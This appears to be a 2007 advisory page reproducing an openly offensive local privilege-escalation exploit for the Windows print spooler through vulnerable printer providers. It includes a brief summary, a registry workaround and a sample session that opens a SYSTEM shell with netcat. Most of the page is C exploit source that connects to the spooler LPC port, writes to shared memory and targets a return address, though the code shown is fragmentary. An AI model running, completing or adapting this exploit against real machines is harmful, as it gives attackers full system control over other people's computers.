Universal Exploit for Vulnerable Printer Providers (Spooler Service)
29 Jan. 2007
Summary
A vulnerability in the way Printer Providers work allow local attackers to cause the to crash and potentially execute arbitrary code. The following exploit code can be used to test your system.
If this code crashes your spooler service (spoolsv.exe) check your
"vulnerable" printer providers at:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers
Workaround: Trust only default printer providers "Internet Print Provider"
and "LanMan Print Services" and delete the other ones.
And remember, if it doesnt work for you, tweak it yourself. Do not ask
D:\Programaci n\EnumPrinters\Exploits>testlpc.exe
[+] Citrix Presentation Server - EnumPrinterW() Universal exploit
[+] Exploit coded by Andres Tarasco - atarasco@514.es
[+] Connecting to spooler LCP port \RPC Control\spoolss
[+] Trying to locate valid address (1 tries)
[+] Mapped memory. Client address: 0x003d0000
[+] Mapped memory. Server address: 0x00a70000
[+] Targeting return address to : 0x00A700A7
[+] Writting to shared memory...
[+] Written 0x1000 bytes
[+] Exploiting vulnerability....
[+] Exploit complete. Now Connect to 127.0.0.1:51477
D:\Programaci n\EnumPrinters>nc localhost 51477
Microsoft Windows XP [Versi n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
514 ownz u
********************Private exploit- internal use only*****************/
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")
//connect to LPC port
if (!NtConnectPort(&hPort,&uStr,&qos,(DWORD *)§ionInfo,(DWORD *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){
ret.LowPart=sectionInfo.ClientBaseAddress ;
ret.HighPart=sectionInfo.ServerBaseAddress;
}
}
return(ret);
}
#define BOFSIZE 300 //Change it if size needed more to exploit you printer provider
printf("[+] Universal exploit for printer spooler providers\n");
printf("[+] Some Citrix metaframe, DiskAccess and Novel versions are affected\n");
printf("[+] Exploit by Andres Tarasco - atarasco@514.es\n\n");
printf("[+] Connecting to spooler LCP port \\RPC Control\\spoolss\n");
printf("[+] Trying to locate valid address");
do {
dirs=ConnectToLPCPort();
if (lpLocalAddress==0){
printf("[-] Unable to connect to spooler LPC port\n");
printf("[-] Check if the service is running\n");
exit(0);
}
i=lpTargetAddress>>24; // & 0xFF000000 == 0
n++;
if (n==100) {
printf("\n[-] Unable to locate a valid address after %i tries\n",n);
printf("[?] Maybe a greater REQUIRED_SIZE should help. Try increasing it\n");
return(0);
}
}while (i!=0);
